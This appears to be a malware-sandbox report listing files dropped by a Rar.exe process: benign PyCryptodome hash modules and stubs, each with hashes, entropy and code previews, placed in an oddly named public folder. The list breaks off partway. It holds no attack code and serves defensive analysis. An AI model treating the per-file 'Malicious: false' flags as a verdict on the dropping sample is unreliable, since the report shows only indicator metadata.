SHA-512:	7BCF47527D8F034A8DA182FC5125F63ED0A3685C8D1D19EC6D6013D9BABA452921612196590D03309BF878166021A5C5BA9AC30C7E94546A7F913E5DDA250420
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\BLAKE2b.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	938
Entropy (8bit):	4.770904354494787
Encrypted:	false
SSDEEP:	24:1REL4yNT37rEWAnm1WWLB/qs/qn/HLB/M4LB/1/s/3LB/QVP:l4DQxMB/qs/qn/rB/MGB/1/s/7B/QVP
MD5:	17D9AB9AB96D9645BD7BAA7403392355
SHA1:	63DFBC424021764FA0B7BE930C76F99F7D097DAB
SHA-256:	2F79FA6D217978DB2C5A7CF297E73E555C2100E86FA5B2CB4C1DEFFCCAE353DF
SHA-512:	E6A62201B77C98236B57E93275C666C03CE6D17DF29380D871DA9F55F9D2C01B4EE1901C8C9A95CB7307FD06CCD9CF9CD6FF768693EB30706F236439B253E0D4
Malicious:	false
Reputation:	low
Preview:	from typing import Any, Union..from types import ModuleType....Buffer = Union[bytes, bytearray, memoryview]....class BLAKE2b_Hash(object):.. block_size: int.. digest_size: int.. oid: str.... def __init__(self,.. data: Buffer,.... key: Buffer,.... digest_bytes: bytes,.... update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> BLAKE2b_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self,.. data: Buffer = ...,... digest_bytes: int = ...,... digest_bits: int = ...,... key: Buffer = ...,... update_after_digest: bool = ...) -> BLAKE2b_Hash: .......def new(data: Buffer = ...,...digest_bytes: int = ...,...digest_bits: int = ...,...key: Buffer = ...,...update_after_digest: bool = ...) -> BLAKE2b_Hash: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\BLAKE2s.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9676
Entropy (8bit):	4.694251411457854
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IFU1Uy9XiCJ5bfD5Z8znjJQfzdT:0rskrs9VqIARbJ5DD52zjJQfzx
MD5:	78E109013B7F37E3CA1F6299E2B222D4
SHA1:	1D70156D7C14F8268882C588E67F27CBC55B4479
SHA-256:	19798A2A1D438C0DD3538193B4284C11DA04D6FD52F7E58AEA9A95AF1E8BAE68
SHA-512:	A6978AEDD9A4567F6231FFE10072227B55A4CF97132009FA1491321F11EDA3C1E5AE119156900B19D64E6E73A85DBF6F3D8C04D49471FEE68754FF8A8C0951A1
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\BLAKE2s.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.852088276642615
Encrypted:	false
SSDEEP:	12:1REYBPvIY3MRyaRyLu1ApV2+tCwF5RwW0WFWIZyp4LB/d3/i3/3LB/QVxI:1RE6T3QrEWAnJ1Wr4LB/1/s/3LB/QVi
MD5:	43A377A44F7A80190635F78E745C64C3
SHA1:	FDDEC7439E99FF7376364061B817E985EC291550
SHA-256:	25933F08745028C43450B44E6926A00942023E68BF934D2A4D032B8F9557C251
SHA-512:	8C087F9A1BFF5B0F48A2B766CB4B81BBEF8D18461C9369C71F4431D90343822099A6DAFD74DA565D53D43131A727228BB8487C8503ADC4573E585187B76BDE5C
Malicious:	false
Reputation:	low
Preview:	from typing import Any, Union....Buffer = Union[bytes, bytearray, memoryview]....class BLAKE2s_Hash(object):.. block_size: int.. digest_size: int.. oid: str.... def __init__(self,.. data: Buffer,.... key: Buffer,.... digest_bytes: bytes,.... update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> BLAKE2s_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self, **kwargs: Any) -> BLAKE2s_Hash: .......def new(data: Buffer = ...,...digest_bytes: int = ...,...digest_bits: int = ...,...key: Buffer = ...,...update_after_digest: bool = ...) -> BLAKE2s_Hash: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\CMAC.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10810
Entropy (8bit):	4.6888886762336766
Encrypted:	false
SSDEEP:	96:HJqFQHvo7ESYvHPXmAzr5zkZYewd/3SIzODA/u42MZZFsuKFYR4Aeqt86+:HJYQHvqAzhkZYPN17Zz/pvP+
MD5:	CB84488361E5F32910E69C4132E5B766
SHA1:	0591BE7FF0945B36459945ADFDADC3159130509B
SHA-256:	B61E587E5AA8FD5F958F2C3DAA7E8F8914C3D33D162A3EE4CCF7DCD8277AB56D
SHA-512:	39B5FC22B4456E0972D636A2F857B643931150723EA9E4FE42F9E663A9453BD24B511BA841D508005259DD2D0A9BC245CF0AB7C5EC9AEEEEEC446DA769E51D4A
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# Hash/CMAC.py - Implements the CMAC algorithm..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# =============

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\CMAC.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	852
Entropy (8bit):	4.7944416507058545
Encrypted:	false
SSDEEP:	24:1RM7CNyT3xFFAo6atxyW1W2oILB/jHV/PtN/Iqw+y:c8ihh+2VB/B/PX/Zw/
MD5:	2932E4BF5ECDFE63B31A60E94D12EF3D
SHA1:	369E08734F3A29B7D68FC99B87C20DCE2945A6C7
SHA-256:	8A9787A689F900E660207C419A0C2B66D3D40DB46D09F4EA9C19543640D26F57
SHA-512:	723E90748E13290619B03A767ABE5F040149F42E36F6899648F8F450D9297EAC9F560ADBBB1EDCAA2410DF428CBBCAC55D311E6657704B5CA593707CD3496556
Malicious:	false
Reputation:	low
Preview:	from types import ModuleType..from typing import Union, Dict, Any....Buffer = Union[bytes, bytearray, memoryview]....digest_size: int....class CMAC(object):.. digest_size: int.... def __init__(self,.... key: Buffer,.. msg: Buffer,.... ciphermod: ModuleType,.... cipher_params: Dict[str, Any],.. mac_len: int, update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> CMAC: ..... def copy(self) -> CMAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .........def new(key: Buffer,.. msg: Buffer = ...,...ciphermod: ModuleType = ...,...cipher_params: Dict[str, Any] = ...,...mac_len: int = ...,.. update_after_digest: bool = ...) -> CMAC: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\HMAC.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8383
Entropy (8bit):	5.035054686221352
Encrypted:	false
SSDEEP:	96:5J0YDqrYJALrYJHdt3EHGuIWH8ESYXcVGed7VobGKKMidLQBrR8ba/jVtbOixcSc:5JLqrskrs9t3q/IycVGlhiwNRSqzneLl
MD5:	1B694324354191939445989D02B57552
SHA1:	459F3C732F46D703844BE242590867B7C336257C
SHA-256:	BF5BDB55739BC144FFD51BE8696DF86FDDB749EFC794105122BA6882062D1F77
SHA-512:	559F55B868EBE7C088617A6E960622C75D90138720FF661BCABF74A0C01CB4D52F9F6B0C200CBF3B07DA7457BBED8CC9A445A876DB6232CBE05387BE9087DCEB
Malicious:	false
Reputation:	low
Preview:	#..# HMAC.py - Implements the HMAC algorithm as described by RFC 2104...#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAI

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\HMAC.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	649
Entropy (8bit):	4.783061054533155
Encrypted:	false
SSDEEP:	12:1Ro8s7REYB6IvIY3YcRyTkpYRyc1AQ2ZcQ0WrQwgcxW5RwW0WFW2orULB/Q0WHQ4:1RM7C8T3xWFAlrVxW1W2oILB/SH+y
MD5:	14A386A671119C5A919A33425DBB267C
SHA1:	938FCE9D2F2D8D12B4E6DCE66CF634F0597E79C5
SHA-256:	C2C617969E9C441DCC4F844E9B8BA9767F49999272C239BDE88D5F4FAF6A672C
SHA-512:	99637CA962FF596AB9A740A3360DCA5989F0CA1DBC23C90926A213FC50A3E7A5FBC92DDDA0C62625FAA9A273CE9D6D50BFAC8A9D812BEC12DA2AD8CFE1D6D141
Malicious:	false
Reputation:	low
Preview:	from types import ModuleType..from typing import Union, Dict....Buffer = Union[bytes, bytearray, memoryview]....digest_size: int....class HMAC(object):.. digest_size: int.... def __init__(self,.... key: Buffer,.. msg: Buffer,.... digestmod: ModuleType) -> None: ..... def update(self, msg: Buffer) -> HMAC: ..... def copy(self) -> HMAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .........def new(key: Buffer,.. msg: Buffer = ...,...digestmod: ModuleType = ...) -> HMAC: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\KMAC128.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6128
Entropy (8bit):	5.060949769894483
Encrypted:	false
SSDEEP:	96:MMDqrYJALrYJHdt3EHGuIWEHrU6vEjHPL4rSgLT2MniHOFEugEjfJQ69t65F:Nqrskrs9t3q/IytSniHYnCK4F
MD5:	FFA9326A97D6D9F07CC037565AEF8134
SHA1:	474261D53BE76A00B36A836980CC3C6DC7483794
SHA-256:	2784C94AFD4E41E49E3370AF0334D1578402E2CF51BFA1E57561D74EAFB5D9A4
SHA-512:	8B162E0D0843F7DB0AD2D5831A21290A38563E22628A4D20D83EA6D7BC3BBAF71228E8FC1BC2F0B8EDCD6F44800BB909613275A3E14FAF7AF088BE9CE9569D7E
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\KMAC128.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.361612751830179
Encrypted:	false
SSDEEP:	24:1REV4yNT3bAGJvdgK1WWLB/V0/V1LBGL8otLB/SmLj:h4rvVsMB/V0/VBBc8cB/S8j
MD5:	AB6420FC357655A5E7064F63055C551C
SHA1:	C936732267AB86FF4C74D262883948A23FAF2819
SHA-256:	383B57B62578122CD924BFA4DCB324233ED0D7A847F89D16BDBD3ED8251240C2
SHA-512:	EA97C574488210232741126FD97BAC54241937444DAAB8060C6DB1B5965B1D61EDB17643C4B6076E4DEBEA1B8BD15C3285728637944C2352F9E822CF85E4AF36
Malicious:	false
Reputation:	low
Preview:	from typing import Union..from types import ModuleType....Buffer = Union[bytes, bytearray, memoryview]....class KMAC_Hash(object):.... def __init__(self,.. data: Buffer,.. key: Buffer,.. mac_len: int,.. custom: Buffer,.. oid_variant: str,.. cshake: ModuleType,.. rate: int) -> None: ....... def update(self, data: Buffer) -> KMAC_Hash: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self,.. data: Buffer = ...,... mac_len: int = ...,... key: Buffer = ...,.. custom: Buffer = ...) -> KMAC_Hash: .........def new(key: Buffer,.. data: Buffer = ...,... mac_len: int = ...,.. custom: Buffer = ...) -> KMAC_Hash: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\KMAC256.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	5.271012086144821
Encrypted:	false
SSDEEP:	48:MMWOqrYJALrYJHdG43tDs3EsIG13NcuIH2+Q9JuEAnxxh2wGl6mDxcUROfnSO6d2:MMDqrYJALrYJHdt3EHGuIWH9Ju5JQ66E
MD5:	5D8FCE4FF68CED1B7951320BF774725A
SHA1:	50F60C4DEC5C1CF84A2182347937673B8CDDEAEB
SHA-256:	5DF6B48163BBBEA77D5B624E1E07B95F25390DB1430D45AD5CAB902E477A64A4
SHA-512:	DB2ABAD56E2E426C7BDF3E6BAEDFD3EE390FF495A032CB8F0CAFC4DAF84166C388B5EA1CC70FE45518A4F640A65A407E0E857D61EEACFC85C7ACD5895D007AA9
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\KMAC256.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	236
Entropy (8bit):	4.806129043337596
Encrypted:	false
SSDEEP:	6:1REYB+1LWpVQ9zrIY3MTDyo5LwmLBysOL13yamLs/Ns:1REYBeh9vIY3YyoR3LB/Y3mLs1s
MD5:	9BB92F855E03ADD802DAF8AFD8D46DD4
SHA1:	2D8211D1408152634446F921611426687A6A8800
SHA-256:	B220806E584FF8FA9C4A28733F1A096B631B700096020EADCF766B96F86A82E7
SHA-512:	705206605980538F53A763410E8DB18EA03BBA2C204F8FDB2E723EB0EEBD9E1B252414D0EC2E092D46795E82BF61EA126B27CD40EFABC62BF6F0CD039313C43B
Malicious:	false
Reputation:	low
Preview:	from typing import Union....from .KMAC128 import KMAC_Hash....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. data: Buffer = ...,... mac_len: int = ...,.. custom: Buffer = ...) -> KMAC_Hash: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\KangarooTwelve.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7392
Entropy (8bit):	4.848179526975703
Encrypted:	false
SSDEEP:	192:Nqrskrs9t3q/I86pj06gdE0Tq5/JPTZxl:krskrs9VqLwj0XzeL
MD5:	B8FF8687616746E7D2B33FA0EFC8DECE
SHA1:	32BA49FBF1FC3F036B99C2709515DC5ABC245C8B
SHA-256:	1F06117B8FB243148DA2689A76B39F88797D3A7A797A3363792D3D30D0FE06D0
SHA-512:	61C95FDB308FB6D2F822C5E1B9244D0583FDB636ABF47739492550C677D87DF9E7E28DF3B9CF051C565A5B93C946E13C974C3B4F0BA12541D6DDBC801C40E4C8
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\KangarooTwelve.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	588
Entropy (8bit):	4.505456264915036
Encrypted:	false
SSDEEP:	12:1REYB3vIY3vJ1ApWaNaFeLsQwRh72CX5BfWaNaFeLsXJaNi4j:1REcT3rA1Npuh717NpsENiS
MD5:	42C9FEC1BF1C0D408407E53932837C93
SHA1:	12F0171C79E934BF9202A864E6D87404EBDB1BDE
SHA-256:	4C18BD17FAE1D883D8710836B105100A6732AEF4639967F09FD1B7BD636E21B0
SHA-512:	9FC2C7FBFE0D15D327D6155DDB6613C1BDFC966E7BD2EC0D50CAE0DE981F5A1752B4A303EDFD9D87D68C7A0B2026E082B7F3DD3B40F8426B5CF9E0CF48A64723
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class K12_XOF(object):.. def __init__(self,.. data: Optional[Buffer] = ...,.. custom: Optional[bytes] = ...) -> None: ..... def update(self, data: Buffer) -> K12_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self,.. data: Optional[Buffer] = ...,.. custom: Optional[bytes] = ...) -> None: .......def new(data: Optional[Buffer] = ...,.. custom: Optional[Buffer] = ...) -> K12_XOF: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\MD2.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6277
Entropy (8bit):	4.740289678626214
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIWHgkIx9LSVHSvtNz8iz1I7NHZDE3aOMz/fXqNagW6:9qrskrs9t3q/IN9L8i4NmKpfLI
MD5:	E481D6B8F9367485C21BE80F7EA069C9
SHA1:	3D3F67C2664934CF57C9705DBAC3B48A8DFF15B5
SHA-256:	2B2CB2D01B12395DDBEA6EC5D66E3CDC8FD5B99BCB81E112FE127299EE24922C
SHA-512:	3C215DF463DDAB0CE241F0898FF6005FC87C61E1249051876D05495AE3619569B18CB917AB9FEE194AFE73698CFCAFA4FC662617E22F17757063C978687B1B1C
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\MD2.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	511
Entropy (8bit):	4.765158993873355
Encrypted:	false
SSDEEP:	12:1REYBjvIY3g2RypRyLu1AwLsQwu5LGLs+4Ls7Ry5Ryn:1REET3g2QEWAwL/0Lz4Lcwy
MD5:	4BC02D61022F9C16DF722B5F84952EE6
SHA1:	C1AC7927C7F367E0ED86236950DC2966326B127C
SHA-256:	3B3C9E78A4313AC9D7935D4AE92C650879BE8F55007478154429919B4794BB42
SHA-512:	9A6729A4346430DAB7D125D5575C955B968B2491F37C75F9ECE46A13A0DA794348F86227EC29A0D700CB5B66F76353D4372439D9EE956DFC43CEF75B62EA9251
Malicious:	false
Reputation:	low
Preview:	from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class MD4Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD4Hash: ..... def new(self, data: Buffer = ...) -> MD4Hash: .......def new(data: Buffer = ...) -> MD4Hash: .....digest_size: int..block_size: int..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\MD4.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6767
Entropy (8bit):	4.77561272659047
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIuyHgkIc+VpFfjlBPazI1i4a9m2gNeJ3JOMTRt/XklO/:9qrskrs9t3q/IuHJbD62itgGZ3FWtA
MD5:	815AD75FFCEB01DBC18A797BEB80D57E
SHA1:	90AEFD81B088EC63E771C502377380B5A83AAB0A
SHA-256:	26196B146E61C65278C91C066B7460FEBC3200DC14FB5E842C471E6D56C39783
SHA-512:	2025D72689B0A4CF2B1B30BAD9593DF40EB632C20628916F7141832930D6F42FEE3E79B951620A161B19213C18E4E5C1C5A1EC946B4F68E0911A9FB636D0E4ED
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\MD4.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	551
Entropy (8bit):	4.846633197285402
Encrypted:	false
SSDEEP:	12:1REYB3vIY3g2RypRyLu1AGR4Qwu5LgR4+OR47Ry5Ryn:1REcT3g2QEWAczQ/UYwy
MD5:	74AB60EEF22557EA93605E680CA5D294
SHA1:	6EE4291D7DB2B6787D18FC27DAD203ED326B3C3C
SHA-256:	0602DA2A342D9EF1F7C015F953B2DF27F51C25A5E99F89044E71579662EBA5FF
SHA-512:	F87B68B8145984213A2028813A82CD51C294D1A5D723DC92983662E24859EDFF25F5D608C2EC806BB052EC3BA8D8ABAB47C8047347C499FAE16833BB0A6CCC97
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class MD4Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD4Hash: ..... def new(self, data: Optional[Buffer] = ...) -> MD4Hash: .......def new(data: Optional[Buffer] = ...) -> MD4Hash: .....digest_size: int..block_size: int..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\MD5.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6802
Entropy (8bit):	4.584130593682968
Encrypted:	false
